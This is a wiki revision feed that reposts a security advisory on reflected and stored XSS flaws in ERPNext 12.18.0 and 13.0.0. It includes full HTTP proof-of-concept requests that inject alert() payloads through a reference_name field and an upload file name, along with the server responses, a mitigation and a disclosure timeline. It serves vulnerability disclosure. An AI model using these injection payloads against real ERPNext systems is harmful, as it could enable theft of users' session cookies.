<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=ERPNext_versions_12.18.0_and_13.0.0_XSS%E6%BC%8F%E6%B4%9E</id>
	<title>ERPNext versions 12.18.0 and 13.0.0 XSS漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=ERPNext_versions_12.18.0_and_13.0.0_XSS%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=ERPNext_versions_12.18.0_and_13.0.0_XSS%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-11T02:49:56Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=ERPNext_versions_12.18.0_and_13.0.0_XSS%E6%BC%8F%E6%B4%9E&amp;diff=2797&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==XSS== &lt;pre&gt; # Trovent Security Advisory 2103-02 # #####################################   Multiple XSS vulnerabilities in ERPNext 13.0.0/12.18.0 ############################...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=ERPNext_versions_12.18.0_and_13.0.0_XSS%E6%BC%8F%E6%B4%9E&amp;diff=2797&amp;oldid=prev"/>
		<updated>2021-05-12T09:02:02Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==XSS== &amp;lt;pre&amp;gt; # Trovent Security Advisory 2103-02 # #####################################   Multiple XSS vulnerabilities in ERPNext 13.0.0/12.18.0 ############################...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==XSS==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# Trovent Security Advisory 2103-02 #&lt;br /&gt;
#####################################&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Multiple XSS vulnerabilities in ERPNext 13.0.0/12.18.0&lt;br /&gt;
######################################################&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Overview&lt;br /&gt;
########&lt;br /&gt;
&lt;br /&gt;
Advisory ID: TRSA-2103-02&lt;br /&gt;
Advisory version: 1.0&lt;br /&gt;
Advisory status: Public&lt;br /&gt;
Advisory URL: https://trovent.io/security-advisory-2103-02&lt;br /&gt;
Affected product: ERPNext&lt;br /&gt;
Tested versions: 12.18.0 and 13.0.0 beta&lt;br /&gt;
Vendor: Frappé Technologies https://frappe.io&lt;br /&gt;
Credits: Trovent Security GmbH, Nick Decker, Stefan Pietsch&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Detailed description&lt;br /&gt;
####################&lt;br /&gt;
&lt;br /&gt;
Trovent Security GmbH discovered multiple Cross-Site-Scripting vulnerabilities&lt;br /&gt;
in the current software versions of ERPNext (13.0.0 and 12.18.0).&lt;br /&gt;
An attacker could leverage this attack to steal session cookies,&lt;br /&gt;
install a JavaScript keylogger and more.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
1. Reflected XSS in _server_messages exception field&lt;br /&gt;
####################################################&lt;br /&gt;
&lt;br /&gt;
When an API call causes an error the server sometimes sends back exception messages&lt;br /&gt;
containing the user input which is not sanitized.&lt;br /&gt;
This creates the possibility of reflected XSS in any API call/server function using &amp;quot;_server_messages&amp;quot;.&lt;br /&gt;
This would be hard to exploit because we only found _server_messages exceptions&lt;br /&gt;
in API calls made by the application itself not the user.&lt;br /&gt;
&lt;br /&gt;
Severity: High&lt;br /&gt;
CVSS Score: 7.1 (CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:L/A:L)&lt;br /&gt;
CWE ID: 79&lt;br /&gt;
CVE ID: TBD&lt;br /&gt;
&lt;br /&gt;
Proof of concept&lt;br /&gt;
################&lt;br /&gt;
&lt;br /&gt;
Sample request intercepted with Burp to inject JavaScript. Note that the JavaScript&lt;br /&gt;
is injected in &amp;quot;reference_name&amp;quot; to raise an exception:&lt;br /&gt;
&lt;br /&gt;
REQUEST:&lt;br /&gt;
&lt;br /&gt;
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
POST /api/method/frappe.desk.form.utils.add_comment HTTP/1.1&lt;br /&gt;
Host: sqlprodtest.local:1080&lt;br /&gt;
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0&lt;br /&gt;
Accept: application/json&lt;br /&gt;
Accept-Language: en-US,en;q=0.5&lt;br /&gt;
Accept-Encoding: gzip, deflate&lt;br /&gt;
Content-Type: application/x-www-form-urlencoded; charset=UTF-8&lt;br /&gt;
X-Frappe-CSRF-Token: e6532d5e7bef6360c9646d58e0940e8004820db8704ab3dad1d2d875&lt;br /&gt;
X-Frappe-CMD:&lt;br /&gt;
X-Requested-With: XMLHttpRequest&lt;br /&gt;
Content-Length: 157&lt;br /&gt;
Origin: http://sqlprodtest.local:1080&lt;br /&gt;
Connection: close&lt;br /&gt;
Referer: http://sqlprodtest.local:1080/desk&lt;br /&gt;
Cookie: sid=0dfe3b41ff7d0a368a4f28cea4f45ce41b2eadec833c5bc42105355e; system_user=yes; full_name=Administrator; user_id=Administrator; user_image=; io=Ly9MpKRfK_nrKpurAAAN&lt;br /&gt;
&lt;br /&gt;
reference_doctype=User&amp;amp;reference_name=%3cscript%3ealert(1)%3c%2fscript%3e&amp;amp;content=xsstest&amp;amp;comment_email=Administrator&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
RESPONSE (removed the Stack Trace for better readability):&lt;br /&gt;
&lt;br /&gt;
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 417 EXPECTATION FAILED&lt;br /&gt;
Server: nginx/1.19.7&lt;br /&gt;
Date: Thu, 11 Mar 2021 14:23:05 GMT&lt;br /&gt;
Content-Type: application/json&lt;br /&gt;
Content-Length: 1894&lt;br /&gt;
Connection: close&lt;br /&gt;
Set-Cookie: sid=0dfe3b41ff7d0a368a4f28cea4f45ce41b2eadec833c5bc42105355e; Expires=Sun, 14-Mar-2021 14:23:05 GMT; Path=/&lt;br /&gt;
Set-Cookie: system_user=yes; Path=/&lt;br /&gt;
Set-Cookie: full_name=Administrator; Path=/&lt;br /&gt;
Set-Cookie: user_id=Administrator; Path=/&lt;br /&gt;
Set-Cookie: user_image=; Path=/&lt;br /&gt;
&lt;br /&gt;
{&amp;quot;exc_type&amp;quot;:&amp;quot;LinkValidationError&amp;quot;,&amp;quot;exc&amp;quot;:&amp;quot;[\&amp;quot;Traceback (...)]&amp;quot;,&amp;quot;_server_messages&amp;quot;:&amp;quot;[\&amp;quot;{\\\&amp;quot;message\\\&amp;quot;: \\\&amp;quot;Could not find Reference Name: &amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;\\\&amp;quot;, \\\&amp;quot;indicator\\\&amp;quot;: \\\&amp;quot;red\\\&amp;quot;, \\\&amp;quot;raise_exception\\\&amp;quot;: 1}\&amp;quot;]&amp;quot;}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
2. Stored XSS everywhere where user input is stored inside of HTML tags&lt;br /&gt;
#######################################################################&lt;br /&gt;
&lt;br /&gt;
The application does not sanitize escaped quotation marks (\&amp;quot;).&lt;br /&gt;
This can be abused to escape the HTML attribute the input is stored in.&lt;br /&gt;
That allows the user to add new attributes like event handlers&lt;br /&gt;
and thus leading to stored XSS.&lt;br /&gt;
Our testing concluded that this issue is present in the entire application&lt;br /&gt;
the only requirement is that the input is being reflected&lt;br /&gt;
inside of an HTML tag not between them. It also can't be a linking&lt;br /&gt;
attribute like &amp;quot;href&amp;quot; because inside of them user input is escaped.&lt;br /&gt;
For example in combination with HTML injection through a comment,&lt;br /&gt;
a malicious user is able to modify his profile to steal cookies&lt;br /&gt;
from every user including administrators that view his profile.&lt;br /&gt;
&lt;br /&gt;
Severity: High&lt;br /&gt;
CVSS Score: 8.2 (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:L)&lt;br /&gt;
CWE ID: 79&lt;br /&gt;
CVE ID: TBD&lt;br /&gt;
&lt;br /&gt;
Proof of concept&lt;br /&gt;
################&lt;br /&gt;
&lt;br /&gt;
Sample request where the file name contains the XSS code with the escaped quotation marks:&lt;br /&gt;
&lt;br /&gt;
REQUEST:&lt;br /&gt;
&lt;br /&gt;
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
POST /api/method/upload_file HTTP/1.1&lt;br /&gt;
Host: sqlprodtest.local:1080&lt;br /&gt;
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0&lt;br /&gt;
Accept: application/json&lt;br /&gt;
Accept-Language: en-US,en;q=0.5&lt;br /&gt;
Accept-Encoding: gzip, deflate&lt;br /&gt;
X-Frappe-CSRF-Token: e6532d5e7bef6360c9646d58e0940e8004820db8704ab3dad1d2d875&lt;br /&gt;
Content-Type: multipart/form-data; boundary=---------------------------173872902410009950314171894076&lt;br /&gt;
Content-Length: 74566&lt;br /&gt;
Origin: http://sqlprodtest.local:1080&lt;br /&gt;
Connection: close&lt;br /&gt;
Referer: http://sqlprodtest.local:1080/desk&lt;br /&gt;
Cookie: sid=0dfe3b41ff7d0a368a4f28cea4f45ce41b2eadec833c5bc42105355e; system_user=yes; full_name=Administrator; user_id=Administrator; user_image=; io=o0Bglip9YmrzxZj9AAAX&lt;br /&gt;
&lt;br /&gt;
------------------------------173872902410009950314171894076&lt;br /&gt;
Content-Disposition: form-data; name=&amp;quot;file&amp;quot;; filename=&amp;quot;user-enum.png\&amp;quot; onmouseover=\&amp;quot;alert(1234)\&amp;quot;&amp;quot;&lt;br /&gt;
Content-Type: image/png&lt;br /&gt;
&lt;br /&gt;
PNG&lt;br /&gt;
(...)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
HTML code snippet from erpnext-server.com/desk#List/File/Home.&lt;br /&gt;
The user is able to escape the context of the title attribute and&lt;br /&gt;
add an onmouseover event which triggers the JavaScript:&lt;br /&gt;
&lt;br /&gt;
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;level list-row small&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;level-left ellipsis&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;list-row-col ellipsis list-subject level&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;input class=&amp;quot;level-item list-row-checkbox hidden-xs&amp;quot; type=&amp;quot;checkbox&amp;quot; data-name=&amp;quot;a5ff65f666&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;span class=&amp;quot;level-item  ellipsis&amp;quot; title=&amp;quot;user-enum.png&amp;quot; onmouseover=&amp;quot;alert(1234)&amp;quot; &amp;quot;=&amp;quot;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;a class=&amp;quot;ellipsis&amp;quot; href=&amp;quot;#Form/File/a5ff65f666&amp;quot; title=&amp;quot;user-enum.png&amp;quot; onmouseover=&amp;quot;alert(1234)&amp;quot; &amp;quot;=&amp;quot;&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i class=&amp;quot;octicon octicon-file-text text-muted&amp;quot; style=&amp;quot;width: 16px;&amp;quot;&amp;gt;&amp;lt;/i&amp;gt;&lt;br /&gt;
&amp;lt;span&amp;gt;user-enum.png&amp;quot; onmouseover=&amp;quot;alert(1234)&amp;quot;&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Solution / Workaround&lt;br /&gt;
#####################&lt;br /&gt;
&lt;br /&gt;
To mitigate this vulnerability, we recommend to always escape quotation marks.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
History&lt;br /&gt;
#######&lt;br /&gt;
&lt;br /&gt;
2021-03-08: Vulnerability found&lt;br /&gt;
2021-03-12: Advisory created and vendor contacted&lt;br /&gt;
2021-03-22: Vendor replied that they request CVE IDs after a fix is released&lt;br /&gt;
2021-04-19: Vendor informed about planned disclosure date (2021-05-11)&lt;br /&gt;
2021-05-03: Vendor contacted, asking for status&lt;br /&gt;
2021-05-07: No reply from vendor, vendor contacted again&lt;br /&gt;
2021-05-11: Advisory published&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>